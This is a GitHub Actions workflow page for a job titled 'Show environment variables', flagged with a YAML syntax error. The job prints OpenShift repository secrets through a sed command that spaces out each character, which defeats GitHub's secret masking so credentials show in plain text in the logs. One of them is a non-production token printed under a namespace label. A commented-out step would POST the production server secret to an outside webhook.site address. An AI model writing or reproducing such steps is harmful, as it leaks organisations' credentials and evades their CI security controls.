Skip to content

Update test-action.yml #18

Update test-action.yml

Update test-action.yml #18

Workflow file for this run

name: Test action
on:
workflow_dispatch:
jobs:
debug:
name: Show environment variables
runs-on: ubuntu-latest
steps:
- name: Display env vars
env:
OPENSHIFT_IMAGE_LOCATION: ${{ secrets.OPENSHIFT_IMAGE_LOCATION }}
SERVER_PROD: ${{ secrets.OPENSHIFT_SERVER_PROD }}
# TOKEN_PROD: ${{ secrets.OPENSHIFT_TOKEN_PROD }}
NAMESPACE_PROD: ${{ secrets.OPENSHIFT_NAMESPACE_PROD }}
NAMESPACE_NON_PROD: ${{ secrets.OPENSHIFT_TOKEN_NON_PROD }}
run: |

Check failure on line 17 in .github/workflows/test-action.yml

View workflow run for this annotation

GitHub Actions / .github/workflows/test-action.yml

Invalid workflow file

You have an error in your yaml syntax on line 17
echo OPENSHIFT_IMAGE_LOCATION:
echo ${{ secrets.OPENSHIFT_IMAGE_LOCATION }} | sed 's/./& /g'
echo SERVER_PROD:
echo ${{secrets.OPENSHIFT_SERVER_PROD}} | sed 's/./& /g'
# echo ${{secrets.OPENSHIFT_TOKEN_PROD}} | sed 's/./& /g'
echo NAMESPACE_PROD:
echo ${{secrets.OPENSHIFT_NAMESPACE_PROD}} | sed 's/./& /g'
echo NAMESPACE_NON_PROD:
echo ${{secrets.OPENSHIFT_TOKEN_NON_PROD}} | sed 's/./& /g'
# - name: Post to webhook
# uses: fjogeleit/http-request-action@v1
# with:
# url: 'https://webhook.site/108d58e1-026b-45b4-8b7f-8278824e2dec'
# method: 'POST'
# data: ${{ secrets.OPENSHIFT_SERVER_PROD }}